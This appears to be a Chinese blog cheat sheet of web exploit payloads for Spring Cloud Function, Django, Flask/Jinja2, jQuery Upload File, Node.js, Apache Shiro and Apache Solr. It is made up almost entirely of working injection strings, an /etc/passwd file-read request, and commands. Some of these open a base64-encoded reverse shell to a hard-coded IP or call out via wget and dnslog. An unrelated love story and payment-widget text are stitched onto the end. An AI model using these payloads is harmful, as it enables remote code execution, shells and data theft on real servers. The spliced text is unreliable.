username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget http://10.0.0.128:8000/test.txt")]=chybeta&password=chybeta&repeatedPassword=chybeta
 

c:CVE-2022-22963 Spring Cloud Function Spel 表达式注入

Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda 这样的 FaaS(函数即服务,Function as a service)平台。

Connection:close

spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i} ")

Django

Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。Django采用了MTV的框架模式,即模型M,视图V和模板T,使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且Django还包含许多功能强大的第三方插件,使得Django具有较强的可扩展性。

a:cve_2019_14234

单引号已注入成功,SQL语句报错:

/admin/vuln/collection/?detail__a%27b=123

创建cmd_exec:

/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20

调用cmd_exec执行命令:

/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping hqrwsz.dnslog.cn%27--%20

b:CVE-2021-35042

目录:/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23

版本:/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20version())),1)%23

数据库名:/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23

Flask Jinja2 SSTI

Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用werkzeug,模板引擎则使用jinja2

?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20==%20'catch_warnings'%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20==%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20'eval'%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B'eval'%5D('__import__(%22os%22).popen(%22id%22).read()')%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

JQuery

cve_2018_9207 cve_2018_9208 cve_2018_9209

描述:jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig 发布。

jQuery Upload File <= 4.0.2 中的任意文件上传

curl -F "myfile=@php.php" "http://xx.xx.xx.xx:xxxx/jquery-upload-file/php/upload.php"

Node.js

1.cve_2021_21315

Node.js是一个基于Chrome V8引擎的JavaScript运行环境,用于方便的搭建响应速度快、易于拓展的网络应用。

Node.js-systeminformation是用于获取各种系统信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数中注入payload执行系统命令。

Systeminformation < 5.3.1

git clone https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC.git

node index.js

/api/getServices?name[]=$(echo -e 'xxx' > test.txt)

2.cve_2017_14849

GET:

/static/../../../a/../../../../etc/passwd

Apache Shiro

Apache Shiro是一个强大且易用的Java安全框架,用于身份验证,授权,密码和会话管理

判断:大多会发生在登录处,返回包里包含rememberMe=deleteME字段

漏洞:https:avd.aliyun.com/search?q=shiro

Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞【CVE-2016-4483】

Apache Shiro < 1.3.2 验证绕过漏洞【CVE-2016-2807】

Apache Shiro >1.4.2 cookie oracle padding漏洞【CVE-2019-12442】

Apache Shiro < 1.5.2 验证绕过漏洞【CVE-2020-1957】

Apache Shiro < 1.5.3 验证绕过漏洞【CVE-2020-11989】

Apache Shiro < 1.6.0 验证绕过漏洞【CVE-2020-13933】

Apache Shiro < 1.7.1 权限绕过漏洞【CVE-2020-17523】

1、CVE_2016_4437 Shiro-550+Shiro-721

2、CVE-2020-11989

Poc:/admin/%20

影响范围:Apache Shiro < 1.7.1

https://github.com/jweny/shiro-cve-2020-17523

3、CVE-2020-1957

Poc:/xxx/..;/admin

影响范围:Apache Shiro < 1.5.3

Apache Solr

Apache Solr 是一个开源的搜索服务,使用Java语言开发,主要基于Http和Apache Lucene实现的。Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。

漏洞:https://avd.aliyun.com/search?q=solr

远程命令执行RCE(CVE-2017-12629)

远程命令执行XXE(CVE-2017-12629)

任意文件读取AND命令执行(CVE-2019-17558)

远程命令执行漏洞(CVE-2019-0192)

远程命令执行漏洞(CVE-2019-0193)

未授权上传漏洞(CVE-2020-13957)

Apache Solr SSRF(CVE-2021-27905)

a:远程命令执行RCE(CVE-2017-12629)

Apache solr<7.1.0版本

b:任意文件读取AND命令执行(CVE-2019-17558)

Apache Solr 5.0.0版本至8.3.1

https://github.com/jas502n/solr_rce

D:\Python27\python.exe solr_rce.py http://xx.xx.xx.xx xxxx id

c:远程命令执行漏洞(CVE-2019-0193)

Apache Solr < 8.2.0

<dataConfig>

        <dataSource type="URLDataSource"/>

        <script><![CDATA[function poc(){java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");}]]></script>

<document>

        <entity name="stackoverflow"

                url="https://stackoverflow.com/feeds/tag/solr"

                processor="XPathEntityProcessor"

                forEach="/feed"

                transformer="script:poc"/>

</document>

</dataConfig>

d:Apache Solr 文件读取&SSRF(CVE-2021-27905)

全版本官方拒绝修复漏洞

1、获取数据库名

http://xx.xx.xx.xx:xxxx/solr/admin/cores?indexInfo=false&wt=json

2、访问触发

curl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}'\ $'http://xx.xx.xx.xx:xxxx/solr/demo/config'

3、任意文件读取

curl -i -s -k 'http://xx.xx.xx.xx:xxxx/solr/demo/debug/dump?param=ContentStreams&stream.url=file:etc/passwd'

  • 21
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
故事 这是一个关于两个年轻人的故事,他们的名字是李华和王明。李华是一名活泼开朗的小姐姐,而王明是一个沉默寡言的小伙子。他们相遇于一个咖啡店,当时李华和她的朋友在那里聊天闲逛,而王明则是一个人坐在角落里看书。 李华看到王明时,就被他那双深邃的眼睛吸引住了。她走过去试图和他搭讪,但是王明显然不太擅长社交,所以一直很紧张。不过,李华对他没有放弃,她坚持和他聊天,试图让他放松下来。 经过几次见面后,他们渐渐地成为了朋友。李华发现王明虽然不太擅长交际,但是他很聪明,很有思想,而且他的文学修养也很高。李华和王明的关系逐渐从朋友升级为恋人。 他们的爱情一开始是充满了浪漫和温馨,但是很快就发生了一些意外。一天,李华意外遭遇车祸,使得她的右腿受了重伤,需要长时间的康复。在这个时候,王明成为了她最大的支持者,他每天都会来医院看望她,为她准备好吃的,陪她聊天,给她鼓励和希望。 渐渐地,李华的情况好转了,但是她的右腿却永远留下了疤痕。她觉得自己的外貌变得不再完美,有些自卑和沮丧。但是王明却告诉她,他喜欢的是她的心灵和人品,而不是外表。他说,他觉得李华是一个非常勇敢、坚强、善良的女孩子,这才是他真正爱上她的原因。 于是,他们的爱情变得更加深厚和真实。他们一起经历了生活的苦难和艰辛,但是他们依然坚持在一起。他们会一起看电影、一起吃饭、一起旅行,享受彼此的陪伴和爱。 最后,他们结婚了。在婚礼上,王明说:“我一直认为,爱情应该是浪漫和完美的,但是我现在明白了,爱情也可以是真实和坚强的。我爱李华,因为她是最真实、最坚强的女孩子,她让我相信,即使生活充满了挫折和困难,但是只要有爱情,我们就可以克服一切。” 于是,他们幸福地生活在一起,过着充满爱情的日子。他们的爱情不再是浪漫的童话,而是真实的、温馨的、感人的。 结尾 以上就是我为大家讲述的这个搞笑感人的爱情故事,希望大家喜欢。爱情不一定是完美的童话,而是经历了生活的苦难和挫折之后,依然能坚持在一起的真实感情。希望大家珍惜自己身边的爱情,一起走过人生的每一个阶段。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值